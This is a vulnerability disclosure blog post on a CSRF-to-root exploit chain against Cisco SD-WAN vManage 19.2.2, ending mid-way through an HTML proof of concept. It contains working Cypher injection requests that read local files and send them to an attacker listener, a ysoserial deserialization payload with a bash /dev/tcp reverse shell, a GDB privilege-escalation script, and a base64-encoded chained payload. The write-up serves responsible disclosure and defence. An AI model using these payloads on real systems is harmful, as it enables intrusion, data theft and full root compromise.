Hacking Cisco SD-WAN vManage 19.2.2 — From CSRF to Remote Code Execution

Johnny Yu (@straight_blast)
Walmart Global Tech Blog
18 min readAug 5, 2020

--

Introduction

Securing Fortune #1 is exciting, challenging and rewarding — all at the same time. Walmart’s global technology footprint consists of many tech implementations and provides security practitioners with unrivaled challenges and rewards. The Walmart Information Security team works collaboratively with supplier partners to continually enhance the security hygiene of products and services across the entire technology community. Walmart and its partners take security seriously and are committed to positively influencing a strong security culture.

Walmart InfoSec partnered closely with Cisco Systems to responsibly disclose the security vulnerabilities discussed in this blog. Cisco Systems responded with a sense of urgency and strong commitment to address the vulnerabilities in a timely manner.

The Cisco SD-WAN vManage is an application which is a part of a broader SD-WAN solution for managing and provisioning the entire Cisco SD-WAN infrastructure. Earlier this year, the Walmart InfoSec team was engaged by our business user to evaluate the security posture of vManage. At the time of the audit, the product was at version 19.2.0, and I noted a few cypher injection vulnerabilities. I reported the issues to Cisco PSIRT and they indicated the findings as duplicates. A few weeks later, the synacktiv team published a blog¹ on their discoveries for the vManage which included cypher injection vulnerability. While the cypher injection issue they disclosed is different from the instance I found, I assumed the underlying root cause was corrected by Cisco. Fast forwarded by another week, the business user requested a validation test against the latest version (19.2.2) of vManage. I ran my PoC against the product and noted the cipher injection instances remained. Due to how the situation turned out, I decided to invest some personal time on top of work hours to see what other vulnerabilities are under the hood. At the end of my review, I noted 6 types of vulnerabilities. This blog post shares a chain vector from CSRF to RCE.

Part I — A Cypher Injection Story (CSCvt65026)

When I was testing the different vManage endpoints, I observed the following:

Request:

GET /dataservice/device/counters?deviceId=%27 HTTP/1.1
Host: <redacted>
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/json
Referer: https://<redacted>/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=ExzAN7iecW940iRO1JkGyxTQolUwC_BK906aD484.75b07999–549d-412b-80f2–5091dbc85e87

Response:

X-Frame-Options: DENY
Date: Wed, 18 Mar 2020 20:45:35 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Type: application/json
Invalid input ''': expected whitespace, '.', node labels, '[', "=~", IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', "<>", "!=", '<', '>', "<=", ">=", AND, XOR, OR, LOAD CSV, FROM, INTO, START, MATCH, UNWIND, MERGE, CREATE GRAPH >>, CREATE >> GRAPH, CREATE GRAPH, CREATE, SET, DELETE GRAPHS, DELETE, REMOVE, FOREACH, WITH, CALL, PERSIST, RELOCATE, RETURN, SNAPSHOT, UNION, ';' or end of input (line 1, column 168 (offset: 167))
"Match (d:vmanagedbDEVICENODE) Optional Match ()-[a:vmanagedbREBOOTHISTORY]-(d) With a,d Optional Match ()-[e:vmanagedbCRASHLOG]-(d) With a,d,e Where d.`system-ip` = ''' return d.`system-ip` as `system-ip`,d.`number-vsmart-control-connections` as `number-vsmart-control-connections`,d.`expectedControlConnections` as `expectedControlConnections`,d.`ompPeersUp` as `ompPeersUp`,d.`ompPeersDown` as `ompPeersDown`,d.`bfdSessionsUp` as `bfdSessionsUp`,d.`bfdSessionsDown` as `bfdSessionsDown`,count(distinct a) as rebootCount, count(distinct e) as crashCount"

Upon Googling some of the content from the application’s response, I learned this is a Neo4j database error. It also appears the user input could influence the query, so I wanted to figure out how and what could be exploited.

There are two blog² posts³ that talk about Neo4j’s cypher injection, which is a good starting point on this topic. The first blog post describes extending existing queries to do things beyond the original, and the second blog post introduced the “LOAD CSV” command in the cypher language that can perform HTTP based requests.

I started reading documentation⁴ about the cypher language and learned “LOAD CSV” supports the “file” and “ftp” protocol. I was able to able to leverage the “file” to access local disk content.

Query:

-1' or '1'='1' load csv from 'file:///etc/passwd' as line return line as `system-ip`//

Request:

GET /dataservice/device/counters?deviceId=-1%27%20or%20%271%27%3d%271%27%20load%20csv%20from%20%27file%3A%2F%2F%2Fetc%2Fpasswd%27%20as%20line%20return%20line%20as%20%60system-ip%60%2f%2f HTTP/1.1
Host: <redacted>
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/json
Referer: https://<redacted>/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=ExzAN7iecW940iRO1JkGyxTQolUwC_BK906aD484.75b07999–549d-412b-80f2–5091dbc85e87

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Wed, 18 Mar 2020 21:19:36 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Type: application/json
{“header”:{“generatedOn”:1584566376401},”data”:[{“system-ip”:[“root:x:0:0:root:/home/root:/bin/sh”]},{“system-ip”:[“daemon:x:1:1:daemon:/usr/sbin:/bin/sh”]},{“system-
… snipped …
ip”:[“vmanage:x:310:310::/home/vmanage:/bin/false”]},{“system-ip”:[“radvd:x:311:65534::/var/lib/radvd:/bin/false”]},{“system-ip”:[“tss:x:312:312::/var/lib/tpm:/bin/false”]},{“system-ip”:[“admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli”]}
… snipped …

One of the more interesting file I found was the private key to the user “vmanage-admin” which is stored at “/etc/viptela/.ssh/id_dsa”. I used the cipher injection vulnerability to retrieve the private key hoping I could just SSH into the box. It turns out SSH is disabled for this particular user, but SCP access is allowed. I ended up using SCP with recursive download to get the WAR package of the application.

In addition to pulling the private key down, I also observed if an invalid file path is supplied to the “LOAD CSV” command, the application may return an error reflecting the file path.

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Wed, 18 Mar 2020 21:31:48 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Type: application/json
{“error”:{“message”:”Server error”,”details”:”Couldn’t load the external resource at: file:/etc/passxxxwd”,”code”:”REST0001"}}

This turns out to be an important primitive for attacking other cypher injection instances.

I decompiled the package and observe how the flaw was implemented. The vulnerable code can be traced to:

/WEB-INF/classes/com/viptela/vmanage/server/device/common/DeviceDAO.class

public JsonArray getDeviceCounters(String systemIP) {
VGraphDataStore dataStore = this.getDatabaseManager().getGraphDataStore();
Throwable var3 = null;
JsonArray var5;
try {
Iterable<Vertex> devList = (Iterable) dataStore.createQueryBuilder().rawQuery(() -> { return this.createNeo4JDeviceCountersQuery(systemIP); }).build().execute();
var5 = JsonUtil.createJSONArrayBuilder(devList).build();
… snipped …private String createNeo4JDeviceCountersQuery(String systemIP) {
StringBuilder fields = new StringBuilder();
List<String> projections = Arrays.asList("system-ip", "number-vsmart-control-connections", "expectedControlConnections", "ompPeersUp", "ompPeersDown", "bfdSessionsUp", "bfdSessionsDown");
projections.forEach((s) -> {
fields.append("d.`").append(s).append("` as `").append(s).append("`,"); });
fields.append("").append("count(distinct a) as rebootCount");
fields.append(", ").append("count(distinct e) as crashCount");
String query;
if (systemIP != null) {
query = "Match (d:&&DeviceNode) Optional Match ()-[a:&&RebootHistory]-(d) With a,d Optional Match ()-[e:&&CrashLog]-(d) With a,d,e Where d.`system-ip` = '" + systemIP + "' return " + fields.toString();
} else {
query = "Match (d:&&DeviceNode) Optional Match ()-[a:&&RebootHistory]-(d) With a,d Optional Match ()-[e:&&CrashLog]-(d) With a,d,e return " + fields.toString();
}
return query;
}

I grepped the word “rawQuery” to identify other variants of this type of issue. Overall, I found six additional instances. A few of them are blind cypher injection and exploiting them is a bit tricky but not too difficult.

One of the vulnerable instances I encountered will only return a neo4J error or regular data output, which left me intrigued to exploit it. I remembered reading a blog post⁵ from Pieter Hiele who turned a blind XXE into returning content through error output, and I thought the concept could be a potential solution.

I chained two “LOAD CSV” as follows. The first “LOAD CSV” will retrieve content from the local disk, and the second “LOAD CSV” will load the collected content as an URL, which doesn’t exist, so it will be displayed in the error:

Query:

-1']) or 1=1  load csv from 'file:///etc/passwd' as line fieldterminator '\n' load csv from 'file:///'+line as sigh return 0 as count//

Request:

GET /dataservice/device/bfd/sites/summary?vpnId=-1%27%5d%29%20or%201%3d1%20%20load%20csv%20from%20%27file%3a%2f%2f%2fetc/passwd%27%20as%20line%20fieldterminator%20%27%0a%27%20load%20csv%20from%20%27file%3a%2f%2f%2f%27%2bline%20as%20sigh%20return%200%20as%20count%2f%2f HTTP/1.1
Host: <redacted>
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/json
Referer: https://<redacted>/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=ExzAN7iecW940iRO1JkGyxTQolUwC_BK906aD484.75b07999–549d-412b-80f2–5091dbc85e87

Response:

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Wed, 18 Mar 2020 21:38:14 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Type: application/json
{“error”:{“message”:”Server error”,”details”:”Type mismatch: expected String but was List<String> (line 10, column 27 (offset: 893))\n\”’ load csv from ‘file:///’+line as sigh return 0 as count//’] ) return count(distinct siteId) as count\”\n ^”,”code”:”REST0001"}}

What happened? It turns out the first “LOAD CSV” reads the entire file, but each line in the file is stored as a String in a List data structure. The type casting from “List<String>” to “String” is not possible and I get the error.

The final piece to the puzzle is to convert the “List<String>” into a “String” through string concatenation. After some Googling along with trial and error, I came up with a working solution using the “REDUCE” and “CASE” commands:

Query:

load csv from ‘file:///etc/passwd’ as line fieldterminator ‘\n’ load csv from ‘file:///’+ reduce(h=head(line),t in tail(line) | case when t is null then h else h+t end) as sigh

Request:

GET /dataservice/device/bfd/sites/summary?vpnId=-1%27%5d%29%20or%201%3d1%20%20load%20csv%20from%20%27file%3a%2f%2f%2fetc/passwd%27%20as%20line%20fieldterminator%20%27%0a%27%20load%20csv%20from%20%27file%3a%2f%2f%2f%27%2b%20reduce%28h%3dhead%28line%29%2ct%20in%20tail%28line%29%20%7c%20case%20when%20t%20is%20null%20then%20h%20else%20h%2b%27%20%27%2bt%20end%29%20as%20sigh%20return%200%20as%20count%2f%2f HTTP/1.1
Host: <redacted>
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/json
Referer: https://<redacted>/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=Km457qpvFQoFY4GgAIUbpsHwp6kdUzidkCvOOU81.00aeedad-3dd0-434a-8f3d-bcab23725110

Response:

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Wed, 22 Apr 2020 14:13:26 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Content-Type: application/json
{"error":{"message":"Server error","details":"Illegal character in path at index 40: file:/root:x:0:0:root:/home/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/false sys:x:3:3:sys:/dev:/bin/false sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/false man:x:6:12:man:/var/cache/man:/bin/false lp:x:7:7:lp:/var/spool/lpd:/bin/false mail:x:8:8:mail:/var/mail:/bin/false news:x:9:9:news:/var/spool/news:/bin/false uucp:x:10:10:uucp:/var/spool/uucp:/bin/false proxy:x:13:13:proxy:/bin:/bin/false www-data:x:33:33:www-
… snipped …

Another instance I observed was a complete blind injection. It will return a custom error message regardless of what is passed to the endpoint. I tweaked my double “LOAD CSV” vector to instead of exfiltrating the local disk content through an invalid file path, I will provide a legitimate host machine to pull the content across the network.

Request:

GET /dataservice/template/policy/assembly/vedge/1%27%7D%29-%5B%2A%2E%2E2%5D-%3E%28l%3A%26%26POLICYLISTSNODE%29%20return%201%20union%20load%20csv%20from%20%27file%3A%2F%2F%2Fetc%2Fpasswd%27%20as%20line%20fieldterminator%20%27%0A%27%20load%20csv%20from%20%27http%3A%2F%2F10.20.120.200%3A8080%2F%27%2B%20reduce%28h%3Dhead%28line%29%2Ct%20in%20tail%28line%29%20%7C%20case%20when%20t%20is%20null%20then%20h%20else%20h%2B%27%20%27%2Bt%20end%29%20as%20sigh%20return%201%2F%2F HTTP/1.1
Host: <redacted>
Connection: close
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Referer: https://<redacted>/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-XSRF-TOKEN:B000E544E43074FED9E03A43C90D6CB86D20F77DF81BF3EA7C308844D1C8A5811FD2696D3161517EDEF50365208A63FE7B17
Cookie: JSESSIONID=YN3G9wxni1-9d_r145EdZ83yXAzoXWyCHPDg8X1x.75b07999-549d-412b-80f2-5091dbc85e87

Listener:

$ nc -nlvvp 8080
listening on [any] 8080 ...
connect to [10.20.120.200] from (UNKNOWN) [<redacted>] 57986
GET /root:x:0:0:root:/home/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/false sys:x:3:3:sys:/dev:/bin/false sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/false man:x:6:12:man:/var/cache/man:/bin/false lp:x:7:7:lp:/var/spool/lpd:/bin/false mail:x:8:8:mail:/var/mail:/bin/false news:x:9:9:news:/var/spool/news:/bin/false uucp:x:10:10:uucp:/var/spool/uucp:/bin/false proxy:x:13:13:proxy:/bin:/bin/false www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/false list:x:38:38:Mailing List Manager:/var/list:/bin/false irc:x:39:39:ircd:/var/run/ircd:/bin/false gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/false dhcp:x:298:298::/var/run/dhcp:/bin/false www:x:299:299::/var/www/localhost:/bin/sh quagga:x:300:300::/var/run/quagga:/bin/false sshd:x:301:301::/var/run/sshd:/bin/false log:x:302:302::/var/log:/bin/false ntp:x:303:303::/var/lib/ntp:/bin/false vmanage:x:310:310::/home/vmanage:/bin/false radvd:x:311:65534::/var/lib/radvd:/bin/false tss:x:312:312::/var/lib/tpm:/bin/false admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli vmanage-admin:x:1001:1001::/home/vmanage-admin:/usr/sbin/viptela_cli basic:x:1002:100::/home/basic:/usr/sbin/viptela_cli viptela-reserved-cloudops:x:1003:100::/home/viptela-reserved-cloudops:/usr/sbin/viptela_cli viptela-reserved-tac:x:1004:100::/home/viptela-reserved-tac:/usr/sbin/viptela_cli viptela-reserved-dca:x:1005:1005::/home/viptela-reserved-dca:/usr/sbin/viptela_cli viptela-reserved-cloud:x:1006:1006::/home/viptela-reserved-cloud:/usr/sbin/viptela_cli nobody:x:65534:65534:nobody:/nonexistent:/bin/false neteng:x:1007:100::/home/neteng:/usr/sbin/viptela_cli HTTP/1.1
User-Agent: NeoLoadCSV_Java/1.8.0_162
Host: 10.22.120.200:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

It should be noted that some of these cypher injection instances do not have CSRF token protection, so an unauthenticated attacker could leverage it to not only exfiltrate local disk content, but also to interact with local network services (SSRF) and of course alter the graph database’s content.

Part II — Attack of the Deserialization (CSCvt70892)

Armed with the decompiled code of the application, I manually grepped the code base for common flaws that could lead to RCE. The following result caught my attention when I searched for “readObject”:

… snipped ….//com/viptela/vmanage/server/sso/saml/storage/SAMLStorageDAO.java:106:                samlObject = (SAMLObject)samlMsgObjInputStream.readObject();… snipped …

Digging into the source code and tracing the sink back to the source, I identified the workflow as follows:

1. When a user visits the Service Provider (Cisco SD-WAN vManage) [https://<target>/SAMLLoginServlet], the application creates an AuthnRequest object and redirects the user to the Identity Provider (Okta) with a SAMLRequest.

2. While the redirection from SP to IdP is happening on the user’s browser, the backend serializes the AuthnRequest object as a SAMLObject type, and stores it into the neo4j database.

3. The user authenticates through the identity Provider.

4. Upon successful authentication, the Identity Provider will redirect the user back to the Service Provider with a SAMLResponse.

5. The Server Provider will retrieve the serialized SAMLObject from the neo4j database and deserialize the object.

If I can replace the serialized “SAMLObject” in the database with a gadget before a user authenticates through the IdP, I can exploit this deserialization vulnerability.

To explore this vulnerability in depth, I setup SSO based on the Cisco SD-WAN documentation⁶. Readers who are not familiar with SAML SSO are suggested to read “How SAML Authentication Works” ⁷. Furthermore, interested reader can look at Appendix 1 to review the code trace from source to sink.

Just to add a bit more context to the step 2 of the above workflow, the serialized “SAMLObject” is stored in the “vmanagedbSAMLSTORAGENODE” with the following columns:

· sessionId

· messageId

· samlMessage

The “sessionId” can be ignored. The “messageId” is a randomly generated ID for the “AuthnRequest” object, and the “samlMessage” is the serialized “SAMLObject” in hexadecimal format.

To verify my observation, I logged in to vShell with the “neteng” account, and ran a neo4j HTTP request to look at the “vmanagedSAMLSTORAGENODE”:

vmanage:~$ curl -X POST -u neo4j:password -H 'Content-type: applicaton/json' -H 'Accept: application/json' http://localhost:7474/db/data/cypher -d '{"query":"Match(n:vmanagedbSAMLSTORAGENODE) return n.`messageId`"}'
{
"columns" : [ "n.`messageId`" ],
"data" : [ ]

I observed there is currently no content.

I browsed to http://<target>/SAMLLoginServlet, and reran the curl command:

curl -X POST -u neo4j:password -H 'Content-type: applicaton/json' -H 'Accept: application/json' http://localhost:7474/db/data/cypher -d '{"query":"Match(n:vmanagedbSAMLSTORAGENODE) return n.`messageId`"}'
{
"columns" : [ "n.`messageId`" ],
"data" : [ [ "a1g09iia3ibi57bj185d8h972gc9dgc" ] ]

I see an entry created with the messageId “a1g09iia3ibi57bj185d8h972gc9dgc”.

Furthermore, I queried the “samlMessage” to view the serialized “SAMLObject” in hexadecimal format:

vmanage:~$ curl -X POST -u neo4j:password -H 'Content-type: applicaton/json' -H 'Accept: application/json' http://localhost:7474/db/data/cypher -d '{"query":"Match(n:vmanagedbSAMLSTORAGENODE) return n.`messageId`, n.`samlMessage`"}'
{
"columns" : [ "n.`messageId`", "n.`samlMessage`" ],
"data" : [ [ "a1g09iia3ibi57bj185d8h972gc9dgc", "aced000573720035636f6d2e76697074656c612e766d616e6167652e7365727665722e73736f2e73616d6c2e7061727365722e53414d4c4f626a656374548f3a6018554af003000078720033636f6d2e76697074656c612e766d616e6167652e7365727665722e73736f2e73616d6c2e7061727365722e53414d4c42617365010e7bdf3ba2154d02000249000868617368436f64654c001073657269616c697… snipped … ] ]

The “samlMessage” starts with aced which is the beginning of a Java serialized content.

I used https://github.com/pimps/ysoserial-modified to generate a reverse shell:

java -jar ~/Tools/ysoserial-modified/target/ysoserial-modified-1.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.20.120.200/1337 0>&1' | xxd -p | tr -d '\n'
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/Tools/ysoserial-modified/target/ysoserial-modified-1.jar) to field javax.management.BadAttributeValueExpException.val
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
aced000 … snipped … 7878

I overwrite the “samlMessage” associated with the messageId: “a1g09iia3ibi57bj185d8h972gc9dgc” as follows:

vmanage:~$ curl -X POST -u neo4j:password -H 'Content-type: applicaton/json' -H 'Accept: application/json' http://localhost:7474/db/data/cypher -d '{"query":"Match(n:vmanagedbSAMLSTORAGENODE{messageId:\"a1g09iia3ibi57bj185d8h972gc9dgc\"}) set n.`samlMessage`=\"aced000 … snipped … 7878\" return n.`samlMessage`"}'
{
"columns" : [ "n.`samlMessage`" ],
"data" : [ [ "aced000 … snipped … 7878" ] ]

On my machine (10.20.120.200), I setup a netcat listener on port 1337

From the vShell where I ran the curl command, I monitor the server log file:

vmanage:~$ tail -f /var/log/nms/vmanage-server.log

I authenticated through the Identity Provider and observed the log printing a stack trace:

04-Apr-2020 03:44:10,789 UTC INFO  [vmanage] [SAMLProtocolMessageXMLSignatureSecurityPolicyRule] (default task-3) |default| Validation of protocol message signature succeeded, message type: {urn:oasis:names:tc:SAML:2.0:protocol}Response
04-Apr-2020 03:44:10,815 UTC ERROR [vmanage] [SAMLProcessingFilter] (default task-3) |default| Exception - : java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to com.viptela.vmanage.server.sso.saml.parser.SAMLObject
at com.viptela.vmanage.server.sso.saml.storage.SAMLStorageDAO.retrieveMessage(SAMLStorageDAO.java:109) [classes:]
at com.viptela.vmanage.server.sso.saml.storage.HttpSessionStorage.retrieveMessage(HttpSessionStorage.java:149) [classes:]
at com.viptela.vmanage.server.sso.saml.websso.WebSSOProfileConsumerImpl.processAuthenticationResponse(WebSSOProfileConsumerImpl.java:164) [classes:]
at com.viptela.vmanage.server.sso.saml.SAMLAuthenticationProvider.authenticate(SAMLAuthenticationProvider.java:78) [classes:]
at com.viptela.vmanage.server.sso.saml.SAMLProcessingFilter.doFilter(SAMLProcessingFilter.java:180) [classes:]
at
… snipped …

The log indicates a bad cast to “SAMLObject” occurred during the deserialization process.

Going back to my netcat listener, I see a reverse shell:

$ nc -nlvvp 1337
listening on [any] 1337 ...
connect to [10.20.120.200] from (UNKNOWN) [<redacted>] 39366
bash: cannot set terminal process group (663): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ pwd
pwd
/etc/sv/wildfly
bash-4.4$ whoami
whoami
vmanage
bash-4.4$ id
id
uid=310(vmanage) gid=310(vmanage) groups=310(vmanage)
bash-4.4$ uname -a
uname -a
Linux vmanage 3.10.62-ltsi #1 SMP PREEMPT Fri Mar 13 20:33:41 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
bash-4.4$

Part III — A New Root

The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the “/usr/bin/confd_cli_user” which is only readable by root. I found another way to escalate to root without such hassle.

When I disassembled “/usr/bin/confd_cli” binary, I observed the following:

vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3 mov %rax,%rbx
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
401669: 49 89 c4 mov %rax,%r12
40166c: 48 85 db test %rbx,%rbx
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
401674: 48 0f 44 d8 cmove %rax,%rbx
401678: 4d 85 e4 test %r12,%r12
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
401680: 4c 0f 44 e0 cmove %rax,%r12
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt>
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt>
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
4016ac: 48 85 c0 test %rax,%rax
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
4016ba: 48 89 c6 mov %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …

When I run “ps aux”, I observed the following:

vmanage:~$ ps aux 
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.

My first attempt was to run the “cmdptywrapper” directly and supplying it with “-g 0 -u 0”, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.

As mentioned in synacktiv’s blog¹, the “confd_cli” program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.

I created a GDB script where I forced the API “getuid” and “getgid” to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the “/etc/confd/confd_ipc_secret” directly.

root.gdb:

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run

Console Output:

vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000
Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()
Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()
Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#

Part IV — Putting It All Together

By chaining up the information from the previous sections, it is technically feasible for an unauthenticated attacker to get a remote root shell on the Cisco SD-WAN vManage system if it is setup to use SAML SSO.

The steps are as follows:

1. Create commands that run GDB rooting script and call vShell:

echo -ne 'c2V0IGVudmlyb25tZW50IFVTRVI9cm9vdApkZWZpbmUgcm9vdAogICBmaW5pc2gKICAgc2V0ICRyYXg9MAogICBjb250aW51ZQplbmQKYnJlYWsgZ2V0dWlkCmNvbW1hbmRzCiAgIHJvb3QKZW5kCmJyZWFrIGdldGdpZApjb21tYW5kcwogICByb290CmVuZApydW4gPCAvdG1wL2ZvbwpxdWl0Cg==' | base64 -d > /tmp/root ; echo 'dnNoZWxsCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMjAuMTIwLjIwMC8zMTMzNyAwPiYxCg==' | base64 -d > /tmp/foo ; gdb --batch --command=/tmp/root /usr/bin/confd_cli

The first echo command creates the GDB rooting script as noted in section 3. The second echo command calls vShell and executes a reverse shell back to the attacker’s machine.

2. Put the ‘rooting’ commands into a Java Gadget:

java -jar ~/Tools/ysoserial-modified/target/ysoserial-modified-1.jar CommonsCollections5 bash "echo -ne 'c2V0IGVudmlyb25tZW50IFVTRVI9cm9vdApkZWZpbmUgcm9vdAogICBmaW5pc2gKICAgc2V0ICRyYXg9MAogICBjb250aW51ZQplbmQKYnJlYWsgZ2V0dWlkCmNvbW1hbmRzCiAgIHJvb3QKZW5kCmJyZWFrIGdldGdpZApjb21tYW5kcwogICByb290CmVuZApydW4gPCAvdG1wL2ZvbwpxdWl0Cg==' | base64 -d > /tmp/root ; echo 'dnNoZWxsCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMjAuMTIwLjIwMC8zMTMzNyAwPiYxCg==' | base64 -d > /tmp/foo ; gdb --batch --command=/tmp/root /usr/bin/confd_cli" | xxd -p | tr -d '\n'WARNING: An illegal reflective access operation has occurredWARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/Tools/ysoserial-modified/target/ysoserial-modified-1.jar) to field javax.management.BadAttributeValueExpException.valWARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operationsWARNING: All illegal access operations will be denied in a future releaseaced ... snipped ... 7878

3. Craft a cypher injection vector that overwrites all “samlMessage” and triggers the injection through an image tag within an HTML document:

<html>
<head><title>Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC</title></head>
<script src="text/javascript">
function exploit() {
var payload = new Image(1,1);
